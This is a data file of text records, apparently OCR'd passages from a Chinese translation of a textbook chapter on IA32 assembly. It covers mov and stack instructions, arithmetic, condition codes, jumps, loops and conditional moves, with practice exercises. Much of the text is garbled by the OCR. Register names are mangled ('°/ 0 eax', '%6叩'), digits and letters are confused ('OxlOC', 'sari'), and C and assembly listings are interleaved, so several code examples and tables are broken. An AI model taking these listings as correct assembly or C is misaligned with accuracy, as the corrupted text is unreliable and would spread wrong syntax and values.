    {"text": "movl $0x4050,%eax movw %bp,%sp movb (%edi,%ecx),%ah movb $-17,(%esp) .5 movl %eax,-12(%ebp) Imm&diate -- Register, 4 bytes RegisterRegister ， 2 bytes Memory 一一 Register, 1 byte Immediate -- Memory, 1 byte Register -- Memory, 4 bytes\nMOVS和MOVZ指令类都是将一个较小的源数据复制到一个较大的数据位置，高位用符号 位扩展（MOVS)或者零扩展(MOVZ)进行填充。"},
    {"text": "正如看到的那样，这两个类中每个都 有三条指令，包括了所有的源大小为1个和2个字节、目的大小为2个和4个的情况（当然，省 略了冗余的组合movsww和movzww)。"},
    {"text": "字节传送指令比较 %eax = 98765432 %eax = 987654CD Xeax = FFFFFFCD %eax = OOOOOOCD 仔细观察可以发现，三个字节传送指令 movb 、 movsbl 和 movzbl 之间有细微的差别。"},
    {"text": "示例 Assume initially that %dh movb %dh > %al movsbl %dh,%eax movzbl %dh,%eax 例子中都是将寄存器 ％eax 的低位字节设置成 ％edx 的第二个字节。"},
    {"text": "最初 0 / 0 eax 0x123 %edx 0 %esp 0x108 pushl %eax %eax 0x123 °/ 0 edx 0 %esp 0x104 popl %edx %eax 0x123 %edx 0x123 %esp 0x108\n栈“底” 找“底” 桟“底” 0x108 • • • • • 籲 • • 0x108 0x108 J:::::',: 栈“顶” 0x104 0x123 0x123 栈“顶” 栈“顶” _ 图3-5栈操作说明。"},
    {"text": "IA32的栈向低地址 方向增长，所以压栈是减小栈指针（寄存器％6叩）的值，并将数据存放到存储器中，而出栈 是从存储器中读，并增加找指针的值 址大 地增 pushl指令的功能是把数据压入到栈上，而popl指令是弹出数据。"},
    {"text": "因此，指令 pushl %ebp的行为等价于以下两条指令：\nsubl $4,%esp movl %ebp,(%esp) Decrement stack pointer Store %ebp on stack\n它们之间的区别是在目标代码中pushl指令编码为1个字节，而上面两条指令一共需要6个字 www.TopSage.com\n节。"},
    {"text": "因此，指令popl %eax等价于以下这两条指令：\nmovl (%esp) ,°/ 0 eax addl $4,%esp Read %ea.x from stack Increment stack pointer\n图3-5的第三栏说明的是在执行完pushl后立即执行指令popl %edx的效果。"},
    {"text": "） mov %eax, (%esp) mov (%eax), %dx mov $0xFF, %bl mov (%esp,%edx,4), %dh push $0xFF mov %dx, (%eax) pop %edi @练习题3.3当我们调用汇编器的时候，下面代码的每一行都会产生一个错误消息。"},
    {"text": "movb $0xF, (%bl) movl %ax, (%esp) movw (%eax),4(%esp) A movb %ah,%sh movl %eax,$0x123 movl %eax,%dx movb %si, 8(%ebp) 3.4.3数据传送示例 作为一个使用数据传送指令的代码示例,考虑图3-6中所示的数据交换函数，既有C代码， 也有GCC产生的汇编代码。"},
    {"text": "1 int exchange(int *xp, int y) xp at %ebp-f-8, y at %ebp+12 2 { 1 movl 8(%ebp), °/ 0 edx Get xp 3 int x = *xp; By copying to 7«eax below, x becomes the return value 4 2 movl (%edx), %eax Get x at xp 5 *xp = y; 3 movl 12(%ebp), %ecx Get y return x; > 4 movl %ecx, (%edx) Store y at xp a) C语言代码 b)汇编代码 图3-6 exchange函数体的C语言和汇编代码。"},
    {"text": "下面是一个调用exchange的实际例子： int a = 4; int b = exchange(&a, 3); printf(\"a = %d, b = %d\\n\" , a, b); 这段代码会打印出： a = 3, b = 4 C操作符& (称为“取址”操作符）创建一个指针 ， 在本例中，该指针指向保存局部变量a的位 置。"},
    {"text": "指令1和2从存储器当中读出参数xp,把它存放到寄存器％edx中。 指令2使用寄 存器％edx,并将x读到寄存器％eax中，直接实现了 C程序中的操作x=*x P 。"},
    {"text": "我们想使用适当的数据传送指令来实现下面 的操作 *p = (dest_t) v; 此处，V存储在寄存器％eax适当命名的部分中（也就是％63%、％3乂或％31)，而指针p存储在寄存 器％edx中。"},
    {"text": "src_t dest_t 指令 int char ch ar unsigned char int unsigned unsigned int int unsigned int char unsigned char int movl %eax, (%edx) _练习题3.5巳知信息如下。"},
    {"text": "代码体如下： xp at yp at %ebp+12, zp at %ebp+16 movl 8(%ebp), %edi movl 12(°/ 0 ebp), %edx movl 16(°/ 0 ebp), %ecx movl (%edx), %ebx movl (%ecx)，°/ 0 esi movl (%edi), %eax movl %eax, (°/ 0 edx) movl Xebx, (%ecx) movl /iesi, (%edi) 参数xp、yp和zp分别存储在相对于寄存器％6bp中地址值的偏移8、12和16的地方。"},
    {"text": "leal S, D 描述 加载有效地址\n1 1负补 加减取取 D D D D INC D DEC D NEG D NOT D 加减乘异或与 D^-D + S D — D- S D ^ D* S D —D — S D<-D\\ S D <r— D Sc S ADD 5, D SUB S, D IMUL S, D xor 5, D or 5 ，D AND 5 ，D 左移 左移（等同于SAL) 算术右移 逻辑右移 D — D«k D 一 D«k D <~ D k D ^ 一 D k SAL k, D SHL k，D SAR k, D SHR k, D\n图3-7整数算术操作。"},
    {"text": "注意， 这里的操作数顺序与ATT格式的汇编代码中的相反 练习题3.6假设寄存器％eax的值为x, %ecx的值为y。 填写下表，指明下面每条汇编代码指令存 储在寄存器％edx中的值： 指 令 结 果 leal 6(%eax),%edx leal (%eax,%ecx),%edx leal (%eax, %ecx, 4),%edx leal 7(%eax,%eax,8),%edx leal OxA(,%eax,4),%edx leal 9(%eax,%ecx,2),%edx 一元操作和二元操作 第二组中的操作是一元操作，它只有一个操作数，既是源又是目的。"},
    {"text": "_练习题 3.7假设下面的值存放在指定的存储器地址和寄存器中： 地址 值 0x100 0x104 0x108 OxlOC OxFF OxAB 0x13 0x11 寄存器 值 °/ 0 eax %ecx %edx 0x100 0x1 0x3\n填写下表，给出下面指令的效果，说明将被更新的寄存器或存储器位置，以及得到的值。"},
    {"text": "指令 目的 值 addl %ecx, (%eax) subl %edx,4(%eax) imull $16, (%eax,%edx,4) incl 8(%eax) decl °/ 0 ecx subl %edx, %eax 移位操作 最后一组是移位操作，先给出移位量，然后第二项给出的是要移位的位数。"},
    {"text": "练习题 3.8假设我们想生成以下C函数的汇编代码： int shift_left2_rightn(int x, int n) { x «= 2; x >>= n; return x; } • 下面这段汇编代码执行实际的移位，并将最后的结果放在寄存器％eax中。"},
    {"text": "函数参数x、y和z分别存放在存储器中相对于寄存器％ebp中地址偏移 f at °/ 0 ebp+6, y at %ebp+i2., z at %ebp-fi 6 1 movl 16(%ebp), %eax z 2 leal (%eax,7 0 eax,2), °/ 0 eax z*3 3 sail $4, %eax t2 - z*48 4 movl 12(°/ 0 ebp) , %edx y 5 addl 8(°/ 0 ebp) , 0 / 0 edx ti = x+y 6 andl $65535, %edx t3 - tUOxFFFF 7 imull %edx, %eax Return t4 - t2*t3 a) C语言代码 b)汇编代码 图3-8算术运算函数体的C语言和汇编代码。"},
    {"text": "1 int arith (int x, 2 int y, 3 int z) 4 { 5 int tl = x+y; 6 int t2 = z*48; 1 int t3 = tl & OxFFFF; 8 int t4 = t2 * t3; 9 return t4; 10 } 汇编代码指令与C语言源代码中的顺序不同。"},
    {"text": "练习题 3 . 9 图3-8a中函数有以下变种，有些表达式用空格替代： 1 int arith(int x, 2 int y, 3 A _ r int z) 5 I int tl = 6 int t2 = 7 int t3 = B int t4 二 9 return t4; io > 实现这些表达式对应的汇编代码如下： x at %ebp+S, y at 7 0 ebp+12 f z at %ebp+i 6 movl 12(%ebp), %eax xorl 8(%ebp), °/ 0 eax sari $3, %eax notl %eax subl 16(°/ 0 ebp), %eax 基于这些汇编代码，填写C语言代码中缺失的部分。"},
    {"text": "_练习题3.10常常可以看见以下形式的汇编代码行： xorl %edx,%edx 但是在产生这段汇编代码的C代码中，并没有出现EXCLUSIVE-OR操作。"},
    {"text": "指令 效果 描述 imull S mull S R[%edx]:R[%eax] S x R[°/Jeax] R[%edx]:R[%eax] — S x R[%eax] 有符号全64位乘法 无辟全64位乘法 cltd R[%edx]:R[%eax] SignExtend(R[°/ 0 eax]) 转为四字 idivl S R[%edx] — R[%edx]:R[7 0 eax] mod S\\ R[%eax] — R[°/oedx]:R[ 0 / 0 eax] + S 有符号除法 divl S R[%edx] — R[%edx]:R[%eax] mod S; R[%eax] — R[%edx]:R[%eax] + S 无符号除法 图3-9特殊的算术操作。"},
    {"text": "IA32还提供了两个不同的“单操作数”乘法指令， 以计算两个32位值的全64位乘积 个是无符号数乘法（mull)，而另一个是补码乘法 (imull)。"},
    {"text": "举个例子，假设有符号数x和y存储在相对于％ebp偏移量为8和12的位置，我们希望将 它们的全64位乘积作为8个字节存放在栈顶。 代码如下： x at y^ebpt-S, y at %ebp+12 movl 12(°/,ebp), %eax Put y in °/ 6 ea:c imull 8(%ebp) Multiply by x movl %eax, (%esp) Store low-order 32 bits . movl %edx, 4(%esp) Store high-oirder 32 bits 可以观察到，存储两个寄存器的位置对小端法机器来说是对的——寄存器％edx中的高位存 放在相对于％eax中的低位偏移量为4的地方。"},
    {"text": "GCC产生的代码如下： x at %ebp+S, 7 at %ebp+i2 1 movl 8(°/ 0 ebp) , %edx Put x in %edx 2 movl %edx, %eax Copy x to %eax 3 sari $31, %edx Sign extend x in %edx 4 idivl 12(%ebp) Divide by y 5 movl %eax, 4(°/ 0 esp) Store x / y 6 movl %edx, (%esp) Store x X y 第1行的传送指令和第3行的算术移位指令联合起来的效果，就是根据x的符号将寄存 器％edx设置为全零或者全一；"},
    {"text": "使用这 条指令，上面所示的代码序列变成了以下形式： x at %ehp^8, y at 12 Load x into %eax Sign extend into %edx Divide by y Store x / y Store x % y movl 8(%ebp) ,°/ 0 eax cltd idivl 12(°/ 0 ebp) movl %eax, 4(%esp) movl %edx, (%esp) 我们可以看到，这里的前两条指令与前面代码序列中的前三条指令有一样的整体效果。"},
    {"text": "void store_prod(num_t *dest, unsigned x, num_t y) { *dest = x*y; } GCC产生以下汇编代码来实现计算的主体: dest at %ebp+5 ，x at %ebp+i2, y at %ebpf-16 . 1 movl 12( 0 / 0 ebp) , %eax 2 movl 20(%ebp), %ecx 3 imull %eax, %ecx 4 mull 16(°/ 0 ebp) 5 leal (%ecx,%edx), %edx 6 movl 8(%ebp), %ecx 7 movl %eax, (%ecx) 8 movl %edx, 4(%ecx) 可以看到，这段代码需要读两次内存来取参数y (第2行和第4行），两个乘法（第3行和第4行）, 以及两次内存写来存储结果（第7行和第8行)。"},
    {"text": "然后，根据下面的C表达式来设置条件码： CF: (unsigned) t < (unsigned) a 无符号溢出 ZF: (t == 0) 零 SF: (t < 0) 负数 OF: (a < 0 == b < 0) && (t < 0 != a < 0) 有符号溢出 leal指令不改变任何条件码，因为它是用来进行地址计算的。"},
    {"text": "对于逻辑操作，例如XOR,进位标志和溢出标志会设置成0。 对于 移位操作，进位标志将设置为最后一个被移出的位，而溢出标志设置为0。 INC和DEC指令会 设置溢出和零标志，但是不会改变进位标志，至于原因，我们就不在这里深入探讨了。"},
    {"text": "典型的用法是，两个操 作数是一样的（例如，testl %eax，％e#用来检查％^\\是负数、零，还是正数)，或其中的 一个操作数是一个掩码，用来指示哪些位应该被测试。"},
    {"text": "指令 基于 描述 CMP S 2 , S 1 比较 cmpb Compare byte cmpw Compare word cmpl Compare double word TEST S 2 , Si & 5*2 测试 testb Test byte testw Test word testl Test double word 图3-10比较和测试指令。"},
    {"text": "这些指令不修改任何寄存器的值，只设置条件码 www.TopSage.com\n3.6.2访问条件码 条件码通常不会直接读取，常用的使用方法有三种：1)可以根据条件码的某个组合，将 一个字节设置为0或者1 ; 2)可以条件跳转到程序的某个其他的部分；"},
    {"text": "它们之间的区别就在于他们考虑的条件码的组合 是什么，这些指令名字的不同后缀指明了它们所考虑的条件码的组合。 这些指令的后缀表示不 同的条件而不是操作数大小，知道这一点很重要。"},
    {"text": "例如，指令setl和setb表示“小于时设 置 ，，(set less)和“低于时设置” (set below),而不是“设置长字” (set long word)和“设置 字节”（setbyte)。"},
    {"text": "指令 同义名 效果 SS 条件 sete D setz Z) ^e-ZF 相等/零 setne D setnz D — -ZF 不等啡零 sets D D ^-SF 负数 setns D D 一 SF 非负数 setg D setnle D — ~(SF 一 OF) & ~ZF 大于（有符号 >) setge D setnl D — -(SF - OF) 大于等于（有符号 >=) setl D setnge D <- SF^QF 小于（有符号<) setle D setng D<-(SF^ OF) I ZF 小于等于（有符号<=) seta D setnbe D -CF & ~ZF 超过（无符号>) setae D setnb D — -CF 超过或相等（无辟>=) setb D setnae D<-CF 低于（无符号<) setbe D setna D — CF I ZF 低于或相等（无符号 <=) 图3-11 SET指令。"},
    {"text": "有些指令有“同义名”，也就是同一条机器指令有别的名字 一条SET指令的目的操作数是8个单字节寄存器元素（图3-2)之一，或是存储一个字节的 存储器位置，将这个字节设置成0或者1。"},
    {"text": "以下是一个计算C语言表达式a<b的典型指令序列，这里a和b都是int类型： a is in %edx., b is in 7 0 eax cmpl %eax, %edx Compare a:b setl %al Set low order byte of %eax to 0 or 1 movzbl %al , %eax Set remaining bytes of %eax to 0 movzbl指令用来清零％eax的三个高位字节。"},
    {"text": "如果没有发生溢出（OF设置为0就表明无溢出），我们有当a -><0时 a<b， 将SF设置为1即指明这一点，而当>>0时a > 6，由SF设置为0指明。 另一方 面，如果发生溢出，我们有当《 — (负溢出）时a<i,而当a- ><0 (正溢出）时《> bo 当“ 时，不会有溢出。 因此，当OF被设置为1时，我们有当且仅当SF被设置为0,有a <b Q 将这些情况结合起来，溢出和符号位的EXCLUSIVE-OR提供了 a <6是否为真的测试。"},
    {"text": "相反，大多数情况下，机器代码对于有符号和无符号两种 情况都使用一样的指令，这是因为许多算术运算对无符号和补码算术都有一样的位级行为。 有些 情况需要用不同的指令来处理有符号和无符号操作，例如，使用不同版本的右移、除法和乘法指 令，以及不同的条件码组合。"},
    {"text": "） A. cmpl %eax, %edx setl %al B. cmpw %ax, °/ 0 dx setge %al C. cmpb %al, %dl setb %al D. cmpl °/ 0 eax, %edx setne %al ®练习题3.14考虑以下C语言代码： int test(data_t a) { return a TEST 0; > 它给出了参数d和0之间比较的一般形式。"},
    {"text": "） testl %eax, °/ 0 eax setne %al . B. testw %ax, %ax sete %al C. testb %al， %al setg %al D. testw %ax, %ax seta %al 3 跳转指令及其编码 正常执行的情洱下，指令按照它们出现的顺序一条一条地执行。"},
    {"text": "考虑下面的汇编代码序列（完全是人为编造的）： Set %eax to 0 Goto .L.1 ' Null pointer dereference movl $0,7 o eax jmp .Li* movl (%eix),%edx .LI: • ' popl %edx 指令jmp.LI会导致程序跳过movl指令，从popl指令开始继续执行。"},
    {"text": "在产生目标代码文 件时，汇编器会确定所有带标号指令的地址，并将跳转目标（目的指令的地址）编码为跳转指令 的一部分6 丨 ■'' • 图3-12列举了不同的跳转指令。"},
    {"text": "举个例子，指令 jmp *%eax 用寄存器％637中的值作为跳转目标，而指令 jmp * (%eax) #%eax中的值作为读地址，从存储器中读出跳转目标。"},
    {"text": "在汇编代码中，跳转目标用符号 标号书写。 汇编器，以及后面的链接器,会产生跳转目标的适当编码。 跳转抬令有几种不同的编 码，但是最常用的都是PC相关的(PC-relative，译者注：PC = Program Counter,程序计数器)。 它们会将目标指令的地址与紧跟在跳转指令后面那条指令的地址之间的差作为编码。"},
    {"text": ": ..!：： 指令 同义名 跳转条件 描述 jmp Label l 直接跳转 jmp * Operand l 间接跳转 je Label jz ZF 相等/零 jne Label jnz -ZF 不相等/非零 js Label SF 负数 jns Label -SF 非负数 jg Label jnle -(SF - OF) & ~ZF 大于（有符号 >) jge Label jnl -(SF — OF) 大于或等于（有符号 >=) jl Label jnge SF 一 OF 小于（有符号 <) Jle Label jng (SF ^ OF) I ZF 小于或等于（有符号 <=) ja Label jnbe -CF& ~ZF 超过（无辟 >) jae Label jnb -CF 超过或相等（无符号 >=) jb Label jnae CF 低于（无符号 <) jbe Label jna CF I ZF 低于或相等（无符号<=) 图3-12 jump指令。"},
    {"text": "jle 17 <silly+0xl7> Target ~ dest2 mov %edx,%eax desti： sar %eax sub %eax,%edx lea (%edx,%edx,2),%edx test %edx,%edx jg a <Silly+0xa> Target = destl mov 0 / 0 edx, %eax dest2 ： o 3 5 7 111 1- 3 o f d 1 jle .L2 if <~ , goto dest2 2 • L5! destl: 3 movl %edx, %eax A sari °/ 0 eax 5 subl %eax, %edx 6 leal (%edx,7oedx,2), %edx 7 testl %edx, %edx 8 jg .L5 if >， goto destl 9 . L2: dest2: 10 movl %edx, %eax 汇编器产生的 “•O” 格式的反汇编版本如下： 0d d0 f8 c2 14 52 62 e919d5f9 7 8 d 2 8 8 7 8\n'右边反汇编器产生的注释中，第1行跳转指令的跳转目标指明为0x17,第7行跳转指令的 跳转目标是Oxa。"},
    {"text": "下面是链接后的程序反汇编的版本： 1 804839c: 7e Od jle 80483ab <silly+0xl7> 2 804839e: 89 dO mov %edx, °/ 0 eax 3 80483a0: dl f8 sar %eax 4 80483a2: 29 c2 sub %eax,%edx 5 80483a4: 8d 14 52 lea (%edx,%edx,2),%edx 6 80483a7: 85 d2 test %edx, °/ 0 edx 7 80483a9: 7f f3 jg 804839e <silly+0xa> 8 80483ab: 89 dO mov °/ 0 edx, °/ 0 eax 这些指令被重定位到不同的地址，但是第1行和第7行跳转目标的编码并没有变。"},
    {"text": "XXXXXXX: XXXXXXX: 8048391 $0x0,%eax je mov 74 12 b8 00 00 00 00\nD.在下面的代码中，跳转目标的编码是PC相关的，且是一个4字节的补码数。"},
    {"text": "80482aa: ff 25 fc 9f 04 08 jmp *0x8049ffc 为了用条件控制转移来实现C语言的控制结构，编译器必须使用刚才介绍的各种类 型的跳转指令。"},
    {"text": ". ' \\ int gotodiff(int x, int y) { int result; if (x >= y): goto x,ge_y; 1 int absdiff(int a :,int y) { 2 if (x < y) 3 return y -X; 4 else return x } -y； result = y - x; goto done; x_ge_y: - result = x y; done: return result;,,. a)原始的C语言代码. b)与之等价的goto版本 i x at %ebp+S, y at %ebp+I2 movl 8(%ebp)> %edx Get x 2 movl 12(°/ 8 ebp), °/ 0 eax ’ Get y ' 3 cmpl %eax, %edx Compare x:y A jge • L2 i£ >= goto x.„.ge...y 5 subl %edx, %eax Compute result = j-x 6 jmp .L3 Goto done 7 .L2: 8 subl %eax, %edx Compute result ~ x-y 9 movl %edx, °/ 0 eax Set resul t as return value 10 .L3: done : Begin completi on code O.产生的汇编代码 ■' 〃 : 图 3-13 条件语句的编译。"},
    {"text": "对于这种通用形式，汇编实现通常会使用下面这种形式，这里，我们用C语法来描述控 制流： t = test-expr ; if (!t) goto false; then-statement goto done; false: else-statement done: 也就是，汇编器为 then-statement 和 else-statement 产生各自的代码块。"},
    {"text": "_练习题3.16巳知下列C代码： void cond(int a, int *p) { ■ if (p && a > 0) *p += a; > GCC对函数体产生的汇编代码如下： a 7 c ebp+8, p at %ebp-M2 ... movl 8(%ebp), %edx movl 12(%ebp), %eax testl %eax, %eax je .L3 testl %edx, %edx jle .L3 addl %edx, (%eax) .L3: .... 按照图3-13 b中所示的风格，用C语言写一个goto版本，执行同样的计算，并模拟汇编代码的控 制流。"},
    {"text": "请说明为什么C语言代码中尺有二个if语句,而:汇编代码包含两+条件分支v - _练习题3.17将if语句翻译成goto.代码的另一种可行的规则.如:f : : '■ ■ . . . . ■ ■ ' 1 | ! •；"},
    {"text": "! _练习-3.18.从如T形式的C ; 语看代码开婦： . ... / 1 .一 1 int test(int x, int y) { 2 int val = — 二 J 3 if t •— .J { A if ( ) 5 val = 6 else 7 val = 8 > else if ( ) 9 val = ; 10 return val; GCC产生如下的汇编代码： X at °/ e ebp+S, y at °/ n ebp+i2 1 movl 8(%ebp), %eax 2 movl 12(%ebp), %edx 3 cmpl $-3, %eax 4 jge .L2 5 cmpl %edx, %eax 6 jle .L3 7 imull %edx, %eax 8 9 jmp .L3: .L4 10 leal (%edx,%eax), %€ 11 12 jmp .L2: .L4 13 cmpl $2, %eax 14 jg .L5 15 xorl %edx, %eax 16 17 jmp .L5: .L4 18 19 subl .L4: %edx, %eax 填写c代码中缺失的表达式。"},
    {"text": "大多数汇编器根据一个循环的do-while形 式来产生循环代码，即使在实际程序中这种形式用的相对较少。 其他的循环会首先转换成do- while 形式， 然后再编译成机器代码。"},
    {"text": "do-while 循环 do-while语句的通用形式如下： do body-statement while itest-expr ); 这个循环的效果就是重复执行 60 办-伽纪对test-expr求值，如果求值的结果为非零, 则继续循环。"},
    {"text": "do-while的通用形式可以翻译成如下所示的条件和goto语句： loop: body-statement t = test-expr; if (t) goto loop; 也就是说，每次循环，程序会执行循环体里的语句，然后执行测试表达式。"},
    {"text": "Argument ： n at %ehp+8 Registers :n in %edx, result in %eax 1 movl 8(%ebp), %edx Get n 2 movl $1, °/ 0 eax Set result = 1 3 .L2: loop: 4 imull %edx, %eax Compute result n 5 subl $1, %edx Decrement n 6 cmpl $1, %edx Compare n：l 7 jg .L2 If >, goto loop Return . result 图3-14阶乘程序的do-while版本的代码。"},
    {"text": "给出了 C代码、产生的汇编代码和寄存器使用表 int fact_do(int n) i int result = 1; do { result *= n; n = n-1; > while (n > 1); return result; a) C代码 寄存器 变量 初始值 %eax result 1 %edx n n b)寄存器使用 c)对应的汇编代码\n_练习题3.19 用一个 32 位 int 表示 n! ,最大的 n 的值是多少？"},
    {"text": "_练习题3.20巳知C代码如下： 1 int dw_loop(int x, int y, int n) {\nA y *= n; n——; } while ((n > 0) && (y < n)); return x; > GCC产生的汇编代码如下： x at %ebp+S t y at %ebp-fi2, n at %ebp+:/ 6 1 movl 8(7 0 ebp), %eax 2 movl 12(%ebp), %ecx 3 movl 16(%ebp), %edx 4 .L2: 5 addl °/ 0 edx, %eax 6 imull %edx, %ecx 7 subl $1, %edx 8 testl %edx, %edx 9 jle .L5 10 cmpl °/ 0 edx, %ecx 11 jl .12 12 • L5: 创建一个寄存器使用表，参考图3-14b。"},
    {"text": "White循环 while i吾句的通用形式如下： while, (test-expr) … body-statement 与do-while不同的是，它对如/-叫求值，在第一次执行jbody-state/nent之前，循环就 可能中止。"},
    {"text": "一种常见的方法，也是GGC釆用的方法, 是使用条作分支，在需要时省略循环体的第一次执行,从而将代码转换成doihile循环，如下： * . ‘ _ ： . ' ‘ • * f . if (! test-expr) goto done;\ndo body-statement while (test-expr ); done: . 接下来，这个代码可以直接翻译成goto代码，如下： t = test-expr •， if (!t) goto done; loop: body-statement t = test-expr; if (t) goto loop; done: 使用这种实现策略，编译器常常会优化最开始的测试，比如说认为总是满足测试条件。"},
    {"text": "int fact_while_goto(int n) -r z \\ 3 int result - 1; 4 if (n <= 1) i int fact_while(int n) s goto done; 2 { 6 loop: 3 int result = 1; 7 result *= n; 4 while (n > 1) { 8 n = n_l; 5 result n; 9 if (n > 1) 6 n = n_l; 10 goto loop; 7 > 11 done : return result ; > 12 return result ; 1¾ > a)C 代码 b) 等价的 goto 版本 Argument ; n at 7,ebp+5 Registers :n in %ed.x, result in %eax 1 movl 8(%ebp), %edx Get n 2 movl $1, %eax Set result = 1 3 cmpl $1, %edx Compare n:1 4 jle .L7 If <~, goto don© •5 • L10: loop: 6 imull %edx, %eax Compute result n 7 subl $1, %edx Decrement n 8 cmpl $1， %edx Compare n:1 9 jg .L10 If >, goto loop 10 .L7: done: Return . result O对应的汇编代码 图3-15阶乘的while版本的C代码和汇编代码。 fact—while—goto函数说明了汇编代码版本的操作 www.TopSage.com\n_练习题3.21对于下面的C代码： int loop_while(int a, int b) { int result = 1; while (a < b) { result *= (a+b); a++; > return result; GCC产生如下汇编代码\n2 3 4 5 6 7 9 0 1 2 3 at %ebp+S. movl movl movl cmpl jge leal movl • L12: imull addl addl cmpl jg .Lll: b at %ebp+i2 8(%ebp), %ecx 12(%ebp) , °/ 0 ebx $1, %eax %ebx, %ecx .Lll (7«ebx,7 0 ecx), °/ 0 edx $1, °/ 0 eax %edx, °/ 8 eax $1, %ecx $1, °/ 0 edx %ecx, %ebx .L12\n在产生这段代码的过程中，GCC做了一个有趣的转换，实际上是引入了一个新的程序变量。"},
    {"text": "®练习题3.22函数如下整体结构： int fun_a(unsigned x) { int val = 0; while ( ) { > return GCC C编译器产生如下汇编代码： x at %ebp+S ^ movl 8(%ebp), %edx movl $0, 0 / 0 eax testl °/ 0 edx, %edx\nje .L7 .L10: xorl %edx, %eax shrl %edx Shift right by i jne .L10 .L7: andl $1, %eax 逆向工程这段代码的操作，然后完成下面的作业： 根据汇编代码版本填写C代码中缺失的部分。"},
    {"text": "for循环 for循环的通用形式如下： for {init-expr ; test-expr ; update-expr) body-statement C语言标准说明（有一个例外，练习题3.24中有特别说明），这样■^个循环的行为与下面这 段使用while循环代码的行为一样： init-expr ; while (test-expr) { body-statement update-expr; > 程序首先对初始表达式init-expr求值，然后进入循环； 在循环中它先对测试条件 test-expr 求值，如果测试结果为“假”就会退出，否则执行循环体M办-最后对更新表达式 update-expr 求值。 这段代码编译后的形式，基于前面讲过的从while到do-while的转换，首先给出 do-while 形式： init-expr ; if (! test-expr) goto done; do { body-statement update-expr ; > while {test-expr ); done: 然后，将它转换成goto代码： init-expr; t = test-expr ; if (!t) goto done; loop: body-statement update-expr ; t = test-expr,; if (t) , .: … goto loop; done: 作为一个示例，考虑用for循环写的阶乘函数 int fact_for(int n) int i; int result = 1; for (i = 2; i <= n; i++) result *= i; return result; 如上述代码所示，用for循环编写阶乘函数最自然的方式就是将从2—直到n的因子乘起 来，因此，这个函数与我们使用while或者do-while循环的代码都不一样。 这段代码中for循环的不同组成部分如下：\ninit-expr test-expr update-expr body-statement i = 2 i <= n i++ result : i； 用这些部分代入前面给出的模板中相应的位置，得到下面goto代码的版本 int fact_for_goto(int n) { int i = 2; int result = 1; if (!(i <= n)) goto done; loop: result *= i; i++; if (i <= n) goto loop; ]2 done: ! 3 return result; 14 > 确实，仔细查看GCC产生的汇编代码会发现它非常接近于以下模板 ： Argument: n at %ebp+S Registers: i i in %ecx, i in % 1 movl 8(%ebp) , °/ 0 ecx 2 movl $2, %edx 3 movl $1, °/ 0 eax 4 cmpl $1, °/ 0 ecx 5 jle .L14 6 • L17: 7 imull %edx , %eax 8 addl $1, %edx 9 cmpl %edx , %ecx 10 jge .L17 •11 .L14: ?dx, result in %eax Get n Set i to 2 (init) Set r&sult to 1 Compare n:1 (!test) If <-, goto done loop: Compute result *- i (body) Increment i (update) Compare n:i (test) If >~, goto loop done:\n综上所述，c语言中三种形式的所有循环——do-while、while和for都可以用一种 简单的策略来翻译，产生包含一个或多个条件分支的代码。"},
    {"text": ") { > return val; > •X at %ebp+5 '1 movl movl movl .L13: leal movl andl orl shrl addl cmpl jne GCC C编译器产生如下汇编代码： 8(%ebp), %ebx $0, %eax $0, %ecx (%eax,%eax), %edx %ebx, %eax $1, %eax %edx, %eax %ebx Shift right by 1 $1, %ecx $32 , %ecx .L13 逆向工程这段代码的操作，然后完成下面的作业 ： 根据汇编代码版本填写C代码中缺失的部分。"},
    {"text": "当处理continue 语句时，将for循环翻译成while循环的描述规则需要一些改进。 例如，考虑下面的代码： /* Example of for loop using a continue statement */ /* Sum even numbers between 0 and 9 */ int sum = 0; int i; for (i = 0; i < 10; i++) { if (i & 1) continue; sum += i; > 如果我们天真地直接应用将for循环翻译到while循环的规则，会得到什么呢？"},
    {"text": "从1995年的PentiumPro开始，近代IA32处理器都拥有条件传送指令，这些指令会根据条 件码的值，选择要么什么都不做，要么将一个值复制到一个寄存器。"},
    {"text": "虽然从1997年开始，Intel及其竞争者生产的几乎所有的x86处理器都支持这些指令，但是 在过去GCC默认的设置中，产生的代码不使用这些指令，因为这样没办法做到后向兼容性。 近 几年，对于在确定支持条件传输的处理器上运行的系统，例如基于Intel的Apple Macintosh计算 机（2006年出现的)，以及64位版本的Linux和Windows, GCC会产生使用这些条件传送指令 的代码。"},
    {"text": "这个版本使用了 条件表达式，而不是条件语句，可以更清晰地说明条件数据传送背后的概念，但是实际上， GCC对这个版本产生的代码与图3-13版本产生的代码完全一样。"},
    {"text": "如果给GCC以命令行选项 ‘-march=i686’来编译这段代码 0 ,我们产生的汇编代码如图3-16c所示，它与图3-16b中所 示的C函数cmovdiff有相似的形式。"},
    {"text": "）\nint absdiff(int x, int y) { return x < y ? y-x : x-y; a)原始的C语言代码 1 int cmovdiff (int x, int y) 2 int tval = y-x; 3 int rval = x-y; 4 int test = x < y; 5 /* Line below requires 6 single instruction: */ 7 if (test) rval = tval; 8 9 return rval; } b)使用条件赋值的实现\n%ebp+8, y at 7 a ebpfl2 movl 8(%ebp), %ecx Get x movl 12(%ebp), %edx Get y movl %edx, %ebx Copy y subl %ecx, %ebx Compute y-x movl %ecx, %eax Copy x subl %edx, %eax Compute x-y cmpl %edx, %ecx Compare x:y cmovl %ebx, °/ 0 eax If <, repla; and set as return value ' C)产生的汇编代码 图3-16 使用条件赋值的条件语句的编译。"},
    {"text": "省略了汇编代码的栈的建立和完成部分 基于条件数据传送的代码比基于条#控制转移的代码（如图3-13所示）性能好，为了理解 其中的原因，我们必须了解一些关于现代处理器如何运行的知识。"},
    {"text": "处理要经过一系列的阶段，每个阶段执行所需操作的一小部分（例如，从存储器中取指令，确定 指令的类型，从存储器中读数据，执行算术运算，向存储器中写数据，以及更新程序计数器)。"},
    {"text": "另一方面，错误预测一个跳转要求处理器丢掉它为该跳转指令后所有指令已经做了的工作, 然后再开始用从正确位置处起始的指令去填充流水线。"},
    {"text": "练习题3.25在Pentium 4上运行 ， 当分支行为模式非常容易预测时，我们的代码需要大约16个时钟 周.期，而当模式是随机时，需要大约31个时钟周期。"},
    {"text": "图3-17列举了一些条件传送指令，它们随着PentiumPro微处理器的出现，并增加到IA32 指令集中，从 1997 年开始 ， Intel及其竞争者生产的大多数IA32处理器都支持这些指令。"},
    {"text": "无条件 指令的操作数长度是显式地编码在指令名中的（例如movw和movl),而汇编器可以从目标寄 存器的名字推断出条件传送指令的操作数长度，所以对所有的操作数长度，都可以使用同一个指 令名字。"},
